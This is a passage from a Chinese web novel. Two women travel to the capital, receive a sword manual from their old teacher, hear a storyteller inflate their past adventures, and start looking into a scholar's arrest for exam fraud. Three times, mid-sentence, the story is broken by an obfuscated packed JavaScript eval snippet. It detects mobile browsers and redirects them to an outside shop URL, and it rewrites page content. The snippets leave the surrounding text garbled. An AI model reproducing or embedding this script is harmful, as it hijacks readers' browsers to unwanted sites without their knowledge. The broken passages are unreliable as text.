马车在京城青石板路上颠簸了半个时辰,褚秋水的屁股已经麻了三次。 她本来准备雇两匹马,和卫寒苍一人一马。 但卫寒苍嫌骑马会把她的衣服磨坏,就只能套个马车。 褚秋水看着街上的风景——好家伙,这京城比她想象的大多了。 街道两旁店铺林立,卖糖人的、卖绸缎的、卖胭脂水粉的,还有举着招牌吆喝“祖传跌打药”的江湖郎中。行人摩肩接踵,热闹得像赶集。 “别看了,”旁边传来懒洋洋的声音,“再看也到不了。” 褚秋水回头掀帘,看向卫寒苍。 这人今日换了身妃色长衫,头发用一根玉簪绾着,耳朵上还戴着那对圆润的珍珠耳坠。 脸上薄薄敷了一层粉,气色看起来比前些日子好了不少——当然,也可能是早起花了半个时辰描眉的成果。 “你打扮这么好看干什么?”褚秋水问,“又不是去相亲。” 卫寒苍瞥她一眼,慢条斯理地说:“见你老师,不得体面点?万一他觉得你交的朋友不三不四,不给你剑谱怎么办?” 褚秋水想了想,觉得有道理。 “那你也不用敷粉吧?” “这叫敷粉?”卫寒苍挑眉,“这叫基本的礼仪。” 褚秋水闭嘴了。 她发现在这种歪门邪道上跟卫寒苍辩经,最后认输的总是自己。 马车在一座气派的府邸门前停下。 褚秋水跳下车,抬头看着门楣上那块匾额——“谢府”。两个字写得苍劲有力,一看就是大家手笔。 她忽然有点紧张。 “怎么了?”卫寒苍走到她身边。 “没什么,”褚秋水深吸一口气,“就是……许多年没见了,不知道老师还记不记得我。” “你老师要是连你都记不住,那这剑谱估计也不会给你。”卫寒苍说着,已经抬脚往府里走,“走吧,站着也记不住。” 褚秋水看着她那副坦然自若的样子,忽然觉得这人有时候还挺靠谱的。 门房通报之后,一个小厮引着她们穿过回廊,来到后院的书房。 书房门开着,里面传来翻书的沙沙声。 小厮站在门口通报:“大人,客人到了。” “进来吧。” 那声音苍老却浑厚,带着几分书卷气。 褚秋水深吸一口气,抬脚跨进门槛。 书房里光线明亮,靠窗的案几前坐着一位老者。他穿着家常的青色长袍,头发花白,面容清瘦,正握着一卷书。听见脚步声,他抬起头来。 目光落在褚秋水脸上,顿了顿。 然后他笑了。 “你是秋水?”他说,“长这么大了。” 褚秋水愣了一下。 她以为自己要自报家门,要解释半天,要回忆当年在山上听课的日子——结果老师一眼就认出了她? “老师还记得我?” “怎么不记得?”谢云卿放下书,站起身来,“你当年在山上,天天背着一把比你人还高的大剑跑来跑去,摔了不知道多少跤。有一回还把我种的兰花砸了,你记得吗?” 褚秋水:“……” 她当然记得。 那是她第一次上山听课,兴奋得过头,练剑的时候没收住,一剑把老师最心爱的那盆兰花劈成了两半。 给她吓得不行,结果老师只是看了看那盆花的惨状,又看了看她那张紧张兮兮的脸,然后叹了口气说:“花没了还能再种,你要是把自己劈了,我可没法跟你师傅交代。” 从那以后,老师再也没在院子里种过花。 “老师,”褚秋水的脸有点红,“那都是小时候的事了。” “是啊,小时候。”谢云卿笑着打量她,“现在长大了,剑也比人高了。” 他目光移向旁边的卫寒苍,微微挑眉。 “这位是?” “她是我朋友,”褚秋水连忙介绍,“叫卫寒苍,一路陪我来的。” 卫寒苍上前一步,规规矩矩地行了个礼:“见过谢大人。” 谢云卿看了她两眼,目光在她脸上停留了一瞬。褚秋水注意到,老师的眼神在她的喉结上顿了一下。 “好,好。”谢云卿收回目光,笑着招呼她们坐下,“来人,上茶。” 茶过三巡,谢云卿直奔主题。 “你是来取剑谱的吧?” 褚秋水点点头。 谢云卿起身,走到书架前,从最高处取下一个檀木匣子。他打开匣子,里面是一本泛黄的册子,封面上写着三个字——《惊鸿诀》。 “这是我之前写的。”他把剑谱递给褚秋水,“也没什么好藏的,交给需要它的人就好。” 褚秋水双手接过,心里涌起一股说不清的滋味。 既为如此轻易就能得到剑谱而诧异,也为和老师重逢而激动。 谢云卿看着她捧着剑谱发呆的样子,笑了笑。 “你师傅要是看见你现在这样,应该会很高兴。”他说,“当年那个劈我兰花的小丫头,现在都能独当一面了。” 褚秋水抬起头,眼眶有点热。 “老师,我……” “行了,”谢云卿摆摆手,“别煽情。剑谱给你了,以后好好练。你要是再把我屋里的东西劈了,我可要收钱的。” 褚秋水破涕为笑。 卫寒苍在旁边喝着茶,看着这一幕,嘴角微微弯了弯。 又聊了一会儿,谢云卿看了看外面的天色。 “天快黑了,你们今晚就住这儿吧。”他说,“我让人收拾两间客房——” 话没说完,外面跑进来一个小厮,在他耳边低声说了几句。 谢云卿的眉头微微皱了皱,随即恢复如常。 “怎么了?”褚秋水问。 “没什么,”谢云卿摆摆手,“宫里来人了,我得去处理春闱的事。” 他站起来,看向两人。 “你们先歇着。住处的事,我让管家安排。” 说完,他就匆匆离开了。 褚秋水和卫寒苍对视一眼。 “你老师挺忙的。”卫寒苍说。 “当官嘛。”褚秋水把剑谱小心地收好,“肯定不比在山上清闲。” 过了一会儿,管家来了。 是个五十来岁的老者,面容和善,说话慢条斯理的。 “两位姑娘,住处已经安排好了,”他说,“请跟我来。” 两人跟着他穿过回廊,来到一个小院。 院子不大,但收拾得很干净。几株竹子种在墙角,风吹过的时候沙沙作响。院中央有一棵老槐树,树下摆着一张石桌和几个石凳。 管家推开正房的门。 “就是这儿了。” 褚秋水往里一看,愣住了。 一张床。 只有一张床。 她转头看向管家。 “那个……管家伯伯,我们两个人。” 管家点点头,一脸坦然:“是的,就一间房。” “可是……” “大人吩咐的。”管家笑眯眯地说,“他说你们一路同行,想必是极好的朋友,住一间也无妨。而且最近府里客人多,客房紧张,就剩这一间了。” 褚秋水张了张嘴,一时不知该说什么。 卫寒苍在旁边悠悠开口:“我觉得挺好,省得我半夜给你暖床还得跑两个屋。” 褚秋水瞪她。 管家像是什么都没听见,继续笑眯眯地说:“两位先歇着,晚饭会有人送来。有什么需要尽管吩咐。” 说完,他就走了。 留下褚秋水站在门口,看着屋里那张床,陷入沉思。 一张床。 就一张床。 她和卫寒苍…… 虽然以前也是这样,但一起经历了这么多,现在还躺在一张床上,总是感觉怪怪的。 “愣着干什么?”卫寒苍已经走进屋,在床边坐下,拍了拍床铺,“还挺软和的。” 褚秋水走进去,把大剑靠在墙边,在椅子上坐下。 “你坐那儿干嘛?”卫寒苍看她,“过来坐啊。” “我坐这儿就行。” 卫寒苍看着她,忽然笑了。 “怎么,害羞了?我们不是一直这样睡一起吗。” “谁害羞了!”褚秋水梗着脖子,“我就是……就是想坐这儿。” “行吧。”卫寒苍站起来,走到窗边,推开窗户,看着外面的月色,“那你坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371615|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,我站着。” 褚秋水看着她的背影,感觉有点过意不去。再怎么样,都不能让她站着啊。 她站起来,走过去,站在卫寒苍旁边。 窗外,月亮挂在天边,清冷冷的月光洒在小院里。风吹过,竹叶沙沙作响。 “寒苍。”她开口。 “嗯?” “你……你现在晚上睡觉手还冷吗?” 卫寒苍转头看她,月光落在她脸上,她的眼睛里带着一点促狭的笑。 “怎么,怕我占你便宜?” “我……”褚秋水突然有些不知道怎么开口,本能地想肯定回答,但又隐隐觉得不能这样说,“我就是怕你冷了。” 卫寒苍愣了一下,然后笑了,那笑容在月光下格外好看。 “没事,”她说,“我早就习惯了。” 习惯了你在我身边。 褚秋水看着她,忽然觉得心跳漏了一拍。 她连忙移开视线,看向窗外。 “那个……天不早了,睡吧。” 卫寒苍点点头。 两人洗漱完毕,吹灭蜡烛,各自躺下。 床确实不小,两人之间隔着一条胳膊的距离,卫寒苍也难得没靠过来。 褚秋水仰面躺着,盯着帐顶,一动不敢动。她也难得地睡不着了。 旁边传来卫寒苍的呼吸声,轻轻的,均匀的。 过了很久。 “秋水。”黑暗里忽然响起卫寒苍的声音。 “嗯?” “你睡着了吗?” “没有。” 沉默了一会儿。 卫寒苍忽然翻了个身,面向她。 “我睡不着。” 褚秋水也翻过身,面向她。 黑暗中,她们看不清彼此的脸,只能看见一个模糊的轮廓。 “我也睡不着。”褚秋水说。 “为什么?” “我……”褚秋水顿了顿,“我说不太清楚……” 在被卫寒苍纠缠之前,褚秋水的世界很简单。 练剑、吃饭、睡觉,三点一线。 卫寒苍强势地闯入她的世界,让她习惯了有她的生活。今天管家狭促的调侃,让向来迟钝的她感觉到了有些不对。 但她想不出来是哪里不对。她只是隐隐感觉,这件事和练剑不太一样,练剑只需按照书上所言,一招一式地练习。而像现在这种事,不是看书能解决的。 卫寒苍开口,声音是一贯的柔和。 “秋水。” “嗯?” “如果我说,我晚上可能会抢被子,你信吗?” 褚秋水愣了愣,然后笑了。 “信。” “那如果我说,我晚上可能会踹你,你信吗?” “也信。” “那如果我说,”卫寒苍的声音轻了一点,“我晚上可能会……靠着你睡,你信吗?” 褚秋水的心跳又快了一点。 她想了想,说:“你要是冷,可以靠。” 黑暗里,卫寒苍似乎笑了一下。 “好。” 又沉默了一会儿。 褚秋水忽然觉得一只手伸过来,握住了她的手。 那只手有点凉,却握得很紧。 “寒苍?” “嗯?” “你手怎么还是这么凉?” “天生的。” 褚秋水想了想,把那只手握紧了一点。 “那给你暖暖。” 黑暗里,卫寒苍没有说话。 但褚秋水感觉到,那只手握得更紧了。 窗外的月光透过窗纸照进来,在地上投下淡淡的银光。 这一夜,不知道什么时候睡着的。 半夜里,褚秋水迷迷糊糊地翻了个身,感觉自己撞上了什么软软的东西。 她睁开眼,借着月光一看—— 卫寒苍不知道什么时候滚到了她旁边,正蜷在她怀里,睡得正香。 她的脸贴在她肩上,呼吸轻轻的,像只猫。 褚秋水愣了一下,不知道该不该推开她。 但她想了想,算了,推醒了多尴尬。 于是她保持着这个姿势,又睡着了。 21. 茶馆狂言 第二天,她们两个商量着去茶楼看看。 两人出了谢府,沿着京城最热闹的长街往南走。 褚秋水走在前面,大剑裹着布斜背在身后,高出她半个头,引得路人纷纷侧目。她已经习惯了这种目光,昂首挺胸,马尾在身后一甩一,气势磅礴。 卫寒苍走在她旁边,今日换了身常穿的月白色衣裙,头发梳成流云髻,耳坠换了一对白玉的,衬得整个人清清爽爽。 路过卖胭脂水粉的摊子时,她的脚步明显慢了下来,眼睛黏在那一排排瓷盒子上,恨不得把整个摊子搬回家。 “看什么看?”褚秋水拽了她一把,“不是说去听书吗?” 卫寒苍恋恋不舍地收回目光,嘟囔了一句“粗人”,跟着她继续往前走。 福运茶楼在城东南,是京城最有名的听书去处。三层高的木楼,飞檐翘角,门口挂着一副对联——“谈古论今说天地,评书品茶话人生”。笔力遒劲,金光闪闪,一看就值不少钱。 两人推门进去,一楼大堂已经坐了大半。跑堂的迎上来,满脸堆笑:“两位客官,楼上雅座清净——” “不用,”褚秋水一眼扫中角落里一张空桌,“就楼下,听得清楚。” 跑堂的愣了一下。这两位姑娘,一个背大剑,一个戴珍珠,怎么看都不像缺钱的主儿,怎么偏要挤这热闹地方?但他没多问,麻利地擦了桌子,上了茶水和四碟点心。 褚秋水端起茶杯喝了一口,环顾四周。 大堂里三教九流的都有——穿着长衫的读书人扎堆高谈阔论,背着包袱的行商低声交谈,还有几个一看就是江湖人的角色,腰里别着刀剑,大大咧咧地坐在靠窗的位置,把脚翘在凳子上。 “这么多人?”她嘀咕。 “福运茶楼的说书先生,可是京城一绝。”卫寒苍拈起一块桂花糕,咬了一小口,腮帮子鼓鼓的,像只偷吃的仓鼠,“听说连宫里的贵人都偷偷来听过。” 褚秋水来了兴致:“今天讲什么?” 卫寒苍放下糕点,拿帕子擦了擦嘴角,动作慢条斯理的,仿佛接下来要宣布什么惊天大事。 “听说是——”他顿了顿,嘴角微微翘起,露出一个意味深长的笑,“苏眦古国。” 褚秋水差点被茶呛着。 “咳咳咳——什么?” “苏眦古国。”卫寒苍重复了一遍,语气无辜得像在说今天天气不错,“怎么了?” 褚秋水瞪着她,压低声音:“你说怎么了?那不就是咱们——” “嘘。”卫寒苍竖起食指抵在唇边,眨眨眼,“听听人家怎么讲的嘛。” 褚秋水深吸一口气,把涌到嗓子眼的话咽了回去。她有一种不太好的预感。 说书先生还没登场,堂里嗡嗡的议论声此起彼伏。 褚秋水竖着耳朵听了一会儿,说的都是些家长里短、市井八卦,没什么有意思的。倒是二楼雅间里隐隐传来说话声,隔着一层楼板听不太真切。 “笃”的一声,醒木拍桌。 堂里瞬间安静下来,连嗑瓜子的都停了嘴。 说书先生是个五十来岁的瘦削老者,穿一袭青布长衫,精神矍铄,往台上一站,目光扫过全场,自带一股气势。他清了清嗓子,醒木又是一拍。 “列位看官,今日咱们说一段新鲜故事——苏眦古国,三百年前的西域霸主,一夜之间天降神勇,破禁地、斩妖人,还百姓盐铁,开万世太平!” 大堂里叫好声一片。 褚秋水的表情逐渐微妙起来。 说书先生的声音抑扬顿挫,时而慷慨激昂,时而低回婉转。 他讲那苏眦女王如何被妖人蛊惑,收尽天下盐铁,铸成三千只眼和耳,监视臣民;讲那背剑女侠如何从天而降,一剑劈开禁地石门,剑气纵横三万里——此处他比划了一个极其夸张的动作,差点把旁边的茶杯扫下去。 褚秋水低头喝茶,假装什么都没听见。 “那一剑,当真是惊天动地!那禁地石门,厚达三尺,千年未曾开启,却被女侠一剑劈开!那剑光,照亮了整个幽溟渊!那剑风,吹得三千只眼耳齐齐震颤!” 褚秋水嘴角抽了抽。厚达三尺?她记得那门就是普通石门,卫寒苍拿簪子捅了几下就开了。 说书先生继续慷慨激昂:“再说那盗圣——此人轻功了得,来无影去无踪,一夜之间擒获妖人三百信徒!那叫一个神出鬼没,那叫一个来去如风!信徒们还在做梦呢,醒来就发现自己被捆成粽子了!” 卫寒苍在旁边听得津津有味,听到“盗圣”的部分,还不忘低声点评一句:“这个细节不对,我当时明明是先把领头的撂倒了,剩下的才跑的。而且三百个?满打满算也就三十来个。” “你小声点。”褚秋水从桌子底下踢了他一脚。 说书先生正说到高潮处——女侠与妖人决战禁地,大剑横扫,剑气纵横。 他一边说一边比划,把那剑招说得天花乱坠,什么“一剑出而风云变”,什么“二剑落而鬼神惊”,大堂里叫好声此起彼伏,有人甚至站起来鼓掌。 褚秋水听着那些被改得面目全非的事迹,脸上的表情一言难尽。 她转头看卫寒苍,这人倒是一脸享受,眼睛亮晶晶的,嘴角含笑,仿佛说书先生夸的不是他似的。 “怎么样?”卫寒苍凑过来,压低声音,温热的气息喷在她耳边,“是不是比咱们自己经历的好听?” 褚秋水瞪了他一眼。 “好听什么?我什么时候‘一剑出而风云变’了?我要是有那本事,还用得着天天被你气?” 卫寒苍眨眨眼,一脸无辜:“我怎么气你了?” “你——” 褚秋水还没说完,二楼忽然传来一个声音。 那声音不大,但因为大堂安静,清清楚楚地传进每个人耳朵里:“陈公子今年必中,那是板上钉钉的事!” 说书先生停了停,抬头往二楼看了一眼,又若无其事地继续讲。大堂里有人交头接耳,有人抬头张望,但很快又被说书先生的故事拉了回去。 褚秋水却留意上了。她侧耳细听,二楼雅间里隐隐传来谈笑声,隔着一层楼板听不太清,但能分辨出几个人的声音。 又一个声音响起,比刚才那个更张扬,带着几分酒意和傲气:“区区秋闱,何足挂齿?我陈昀读书十余载,等的就是今年!” 陈昀。褚秋水在心里记下这个名字。 “陈公子说的是!”先前那个声音谄媚地接道,语气里能拧出蜜来,“满京城谁不知道,陈公子的才学,那是头一份的!今年秋闱的头名,非陈公子莫属!” 陈昀似乎笑了笑,声音里带着几分志在必得:“不说这些,喝酒喝酒。” 堂里有人小声议论。 “陈昀?就是那个谢云卿谢大人的门生?” “可不是嘛,寒门出身,但才学是真的好。去年诗会上一首诗,把在场所有人都比下去了,听说考官都赞不绝口。” “那也太狂了,还没考就说自己必中……” “人家有狂的资本,你酸什么?” 褚秋水抬头往二楼看了一眼。雅间的窗户半开着,能看见里面人影晃动,但看不清脸。 她正要收回目光,忽然瞥见楼梯口有个人影一闪而过——是个穿绸衫的年轻人,正往下走。他的脸色不太好,嘴唇抿成一条线,眼神阴冷得像冬天里的冰碴子。 卫寒苍也在听,手里的桂花糕举到嘴边忘了咬。 “怎么了?”褚秋水问。 “没怎么。”卫寒苍把桂花糕塞进嘴里,慢条斯理地嚼了嚼,目光还落在那个绸衫青年消失的方向,“就是觉得,这人要么是真有本事,要么是真不怕死。” “哪个?” “那个陈昀。”卫寒苍说,“狂成这样,要么是真材实料,要么是嫌自己命长。” 褚秋水没接话。她又听了一会儿,二楼的声音渐渐低了下去,只剩说书先生抑扬顿挫的腔调在大堂里回荡。 说书先生讲到女侠和盗圣离开苏眦,百姓在佛像底座刻字留念。他的声音忽然慢下来,带着一种悠远的感慨,像是从很远的地方飘来的风。 “那女侠和盗圣,来的时候轰轰烈烈,走的时候悄无声息。只留下那些歪歪扭扭的字,刻在破庙的佛像底下。百姓们不懂什么大道理,他们只知道——有人来过,帮过他们,然后走了。” 大堂里安静了一瞬。 褚秋水忽然想起那天晚上,她和卫寒苍蹲在破庙里,一个字一个字把那些名字拓印下来。月光从屋顶漏进来,照在她们身上,照在那些歪歪扭扭的字迹上。 那些名字她大多已经不记得了,但那种感觉还在,像是有什么东西,轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371616|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻落在了心上。 卫寒苍忽然凑过来,压低声音,打破了这片难得的宁静:“秋水。” “嗯?” “你说,几百年后,会不会有人说书讲咱们的故事?” 褚秋水想了想,老老实实地说:“我希望不要。” “为什么?”卫寒苍一脸不解,好像褚秋水说了什么大逆不道的话。 “太丢人了。”褚秋水说,语气里带着真诚的嫌弃,“你看看他说的那些,什么一剑劈开石门,什么一夜擒获三百信徒。我要是真那么厉害,还用得着天天被你气?” 卫寒苍愣了一下,然后笑了。那笑容在茶楼的灯火下格外好看,眼睛弯弯的,露出一点虎牙,像只偷到了鱼的猫。 “傻瓜,”他说,“那叫传奇。传奇就是要夸张才有人听。你要是老老实实讲‘两个姑娘掉进一个古国,跟一个祭司斗智斗勇,最后把人家国家搞没了’——谁听啊?” 褚秋水想了想,觉得好像也有点道理。 “再说了,”卫寒苍又拈起一块桂花糕,咬了一口,含含糊糊地说,“被人传颂,说明有人记得你。有人记得,就不算白来一趟。” 褚秋水看着他,忽然觉得这句话有点道理。 两人又说了一会儿话,结了茶钱,准备离开。 走到门口的时候,褚秋水回头看了一眼。说书先生已经换了新的故事,讲的是前朝一个将军的轶事,大堂里的茶客们听得入神,没人注意她们。醒木又响了,叫好声此起彼伏。 她正要推门,余光瞥见二楼雅间的门开了。 几个人从里面走出来。为首的是个年轻公子,穿着月白色的长袍,面容清俊,气质儒雅。他脸上带着一点酒后的红晕,脚步有些虚浮,但眼睛很亮,亮得像两颗星星。旁边跟着两个小厮模样的人,一左一右地扶着,生怕他摔了。 “陈公子慢走——下次再来啊——” 那年轻公子摆摆手,示意不用扶,大步往楼下走。他的步伐虽然有些飘,但脊背挺得笔直,带着一股不服输的劲儿。 路过褚秋水身边的时候,他脚步顿了顿,目光在她背后那把裹着布的大剑上停了一瞬。 “好剑。”他说,声音里带着酒意,但语气真诚。 褚秋水愣了一下。 陈昀看着她,笑了笑。那笑容里没有刚才在楼上的张狂,倒是挺真诚的,像个普通年轻人。 “姑娘是习武之人?” “……算是。” “难怪。”他点点头,又看了那把剑一眼,目光里带着一种识货的欣赏,“这把剑,有故事。” 说完,他大步走出茶楼,消失在人群中,月白色的衣角在门帘处一闪就不见了。 褚秋水站在原地,看着他的背影。 卫寒苍走过来,站到她旁边,手里还捏着半块没吃完的桂花糕。 “怎么了?” “没什么。”褚秋水收回目光,“走吧。” 两人推门出去,阳光正好。街上人来人往,卖糖人的小贩在吆喝,几个孩子在追逐打闹,一个妇人拎着菜篮子匆匆走过,一派热闹景象。和茶楼里的传奇故事比起来,这才是真实的烟火人间。 “去哪?”卫寒苍问,把手里的桂花糕塞进嘴里,拍了拍手上的碎屑。 褚秋水想了想:“回谢府吧。拿了剑谱,也该跟老师说一声。” 两人往回走。经过一个巷口的时候,褚秋水忽然停下来,像是想起了什么。 “寒苍。” “嗯?”卫寒苍正低头擦手上的糕点屑,头也没抬。 “你说,那个陈昀,是真的有本事,还是只是吹牛?” 卫寒苍歪着头想了想,阳光落在他脸上,把那层薄薄的粉照得几乎看不见。 “都有吧。”他说,语气难得正经,“有本事的人,才敢吹牛。没本事的,吹了也没人信。” 褚秋水没说话,继续往前走。 阳光把她们的影子拉得很长,一前一后,在青石板路上交叠在一起,像两个并肩而行的人。 回到谢府,屁股还没坐热,茶才喝了一口,小厮的一句话如平地惊雷—— “陈昀公子下狱了!” 褚秋水手里的茶杯差点没端住。 卫寒苍放下糕点,和褚秋水对视一眼。 两个人的表情都很精彩。 22. 下狱 褚秋水赶到前厅的时候,谢云卿正背着手站在窗前,背影佝偻得像一棵被风吹弯的老树。窗外是谢府精致的后花园,假山流水,翠竹掩映,可他一眼都没看进去。 “老师,”褚秋水快步上前,“出什么事了?” 谢云卿转过身来。那张脸上,褚秋水第一次看见了“老”这个字的具象化。眼窝深陷,法令纹像刀刻的一样,嘴唇干裂起皮,整个人像是被什么东西抽走了精气神。 “陈昀被抓了。”他说,声音沙哑,“刚下的狱。” 褚秋水一愣:“陈昀?就是今天茶馆里那个……” “就是他。”谢云卿叹了口气,走到椅子前坐下,动作迟缓得像七八十岁的老人,“有人举报他科举舞弊,说他考前就知道题目。刑部的人今早直接上门拿人,连辩解的机会都没给。” 卫寒苍从褚秋水身后探出半个脑袋,手里还捏着半块从厨房顺来的桂花糕,慢悠悠地问:“那他到底舞弊了没有?” 谢云卿看了他一眼,目光复杂。 他没回答这个问题,只是说:“陈昀是我门生,才华横溢,本不需要做这种事。但现在人赃并获——有人在他家里搜出了一份试题。” “试题?”褚秋水皱眉,“什么试题?” 谢云卿的声音低了下去,低到几乎听不见:“今年秋闱的题目。和礼部封存的考题,一模一样。” 前厅里安静了几秒。安静得能听见院子里的鸟叫,能听见风吹过竹叶的沙沙声,能听见卫寒苍嚼桂花糕的咔嚓声,这人什么时候都不耽误吃。 褚秋水和卫寒苍对视一眼。 这事情,大发了。 但凡牵扯科举舞弊,在朝廷那是要掉脑袋的罪。 “老师,”褚秋水斟酌着开口,每个字都小心翼翼的,像是在雷区里探路,“你……真的没透题?” 谢云卿抬起头,看着她。 那目光里,有一种说不清的东西。不是愤怒,不是委屈,而是更深处的、藏了很久很久的某种情绪。 “秋水,”他说,声音忽然平静下来,平静得不像是在说自己的事,“你跟了我几年?” “三年。” “三年里,我教过你作弊吗?” 褚秋水迟疑着摇头。谢云卿教她的,从来都是堂堂正正——剑要堂堂正正地练,人要堂堂正正地做。他是她见过的,最讲规矩的人。 谢云卿又看向卫寒苍:“这位姑娘,你信我吗?” 卫寒苍眨眨眼,把最后一口桂花糕咽下去,没说话。但她的表情说明了一切——她不信。准确地说,除了褚秋水,她谁都不信,属于是职业病。 谢云卿苦笑了一下。那笑容里带着一点无奈。 “我知道,现在说什么都没用。”他走回书案前,拿起一张纸,动作很慢,像是那张纸有千斤重,“但我需要一个能查清真相的人。秋水,你愿意帮我吗?” 褚秋水接过那张纸,是一张手令——授权她查阅案卷、询问证人、进出府衙。上面的字迹是谢云卿亲笔写的,笔锋刚劲,但最后那个“准”字的最后一笔,微微有些发抖。 她抬起头,看着谢云卿。 这个老人,曾经教她练剑,教她读书,教她做人。她劈了他最心爱的兰花,他也只是笑笑说“没事”。兰花碎了就碎了,人没事就好。他说这话的时候,眼睛是弯的。 “好。”她说,“我查。” 没有犹豫,没有讨价还价。卫寒苍在旁边叹了口气,那口气里的意思大概是:我就知道会这样。 从谢府出来,褚秋水和卫寒苍站在大街上。午后的阳光晒得青石板路发烫,空气中飘着隔壁包子铺的香味。褚秋水的肚子叫了一声,但她顾不上吃。 “先去哪儿?”卫寒苍问,已经从袖子里摸出一把瓜子开始嗑了。 褚秋水想了想:“去陈昀常去的那家茶馆。” “茶馆?”卫寒苍吐掉瓜子壳,“人都被抓了,去茶馆能查到什么?” “今天陈昀在那儿口出狂言,肯定有人听见了。而且他既然常去,那儿的老客多少该知道些底细。”褚秋水说,已经开始往前走,“说不定能找到什么线索。” 卫寒苍跟上来,把瓜子收回袖子里,嘟囔了一句“查案还不让人嗑瓜子”,但脚步没停。 陈昀常去的茶馆叫集贤居,在贡院附近,是专供举子们聚会的地方。 两层小楼,门面不大,但收拾得雅致。门口挂着一副对联——“谈笑有鸿儒,往来无白丁”。口气不小,但配上一旁那棵歪脖子老槐树,就有点打肿脸充胖子的意思了。 两人推门进去,一楼大堂里三三两两坐着些读书人,有的在高谈阔论,有的在埋头苦读,还有几个趴在桌上打瞌睡,口水都快流到书上了。跑堂的迎上来,褚秋水随口说要喝茶,挑了靠窗的位置坐下。 茶上来之后,她没急着喝,先竖着耳朵听了一圈。 大堂里嗡嗡的,聊什么的都有。有人说今年的考题难,有人说某考官如何如何,还有人在低声议论陈昀的事。那几个人的声音压得很低,但褚秋水的耳朵是练过的,一字不漏全听了进去。 “……听说了吗?陈昀被抓了。” “活该!谁让他那么狂?考前就说自己必中,这不是明摆着有问题吗?” “可不是,那日在福运茶楼,我可亲耳听见的。‘区区秋闱,何足挂齿’——听听,这是人话吗?” “我听说啊,是他老师透的题。” “谢云卿?不会吧,那可是五十年前的天下第一剑……” “天下第一剑怎么了?当了官,一样要站队。再说了,天下第一剑就不用吃饭了?” 褚秋水的眉头皱了起来,但她没动声色,继续喝茶。 卫寒苍在旁边慢悠悠地嗑瓜子,她不知什么时候又把瓜子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371617|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从袖子里摸出来了,一副事不关己的样子,但那对耳朵竖得比谁都高。 那几个书生正说得起劲,忽然有人咳嗽了一声。 众人抬头,看见楼梯口走下来一个人。是个年轻人,穿着一身洗得发白的青衫,袖口磨得起了毛边,但浆洗得很干净。面容清瘦,颧骨微高,眼睛却很亮,亮得像是能看透人心。他手里拿着一本书,书页都翻卷了,看样子是准备出门。 “江兄,这就走啊?”有人问。 “嗯,回去看书。”那年轻人点点头,脚步不停,目光始终盯着手里的书。 “哎,你说陈昀这事……”有人想拉住他聊。 那年轻人脚步顿了顿,回头看了一眼。那一眼很平静,平静得像是在说今天天气不错。 “陈昀有没有舞弊我不知道,”他说,“但他要是没舞弊,那冤枉他的人,可真是丧良心。” 说完他就走了,青衫的下摆消失在门帘后面,干净利落,不留一句废话。 褚秋水看着他的背影,心里一动。 “那个人是谁?”她问旁边桌上的人,那人正伸长脖子看热闹,瓜子壳吐了一地。 那人收回目光,上下打量她一眼,大概觉得背大剑的姑娘问这种问题也不奇怪,便随口答道:“江远,陈昀的同乡。也是今年赶考的,跟陈昀住一个客栈。两个人都是寒门出身,关系不错。” 褚秋水和卫寒苍对视一眼。 “走,去找他。”她放下茶钱,拽着卫寒苍就往外走。卫寒苍手忙脚乱地把瓜子往袖子里一揣,踉踉跄跄地跟上来。 两人在街上追了一段,在一家书铺门口截住了江远。他正要进去,被褚秋水一声“江公子”叫住了。 江远回过头,看着她们。目光在她背后的大剑上顿了顿,又看了看卫寒苍,最后回到褚秋水脸上。 “你们是……” “谢大人的朋友。”褚秋水开门见山,没有绕弯子,“想查清陈昀的事。” 江远沉默了一会儿。街上的喧嚣声从他们身边流过,卖糖葫芦的小贩吆喝着走过去,几个孩子追着跑过去,但江远一动不动,像是在做什么重大的决定。 然后他叹了口气。 “找个地方说吧。” 三人在路边找了个僻静处,是一棵大槐树的阴影底下。树冠浓密,把阳光遮得严严实实,凉风习习,倒是个说话的好地方。 “陈昀这人,”江远开口,声音里带着一种复杂的情绪,“狂是真狂,但有狂的资本。他的文章,满京城的举子没几个比得上的。” 他顿了顿,像是在回忆什么。 “但就是那首诗,让谢大人一眼看中了他。谢大人说,有傲骨的人,才写得出这样的诗。” 褚秋水心里微微一震。有傲骨的人——老师当年也是这么评价她的。 “那他考前见过什么人吗?”她问,把思绪拉回来。 23. 线索 江远想了想,眉头微微皱起。 “见过。考前第三天,有人来找过他。” 褚秋水精神一振:“什么人?” “不认识。”江远摇头,目光里有一丝困惑,“是个中年人,穿着挺体面,一看就是当官的。那气派,不是普通小官能有的。他们在门口说了几句话,那人就走了。陈昀回来之后,脸色有点怪。” “怎么个怪法?” 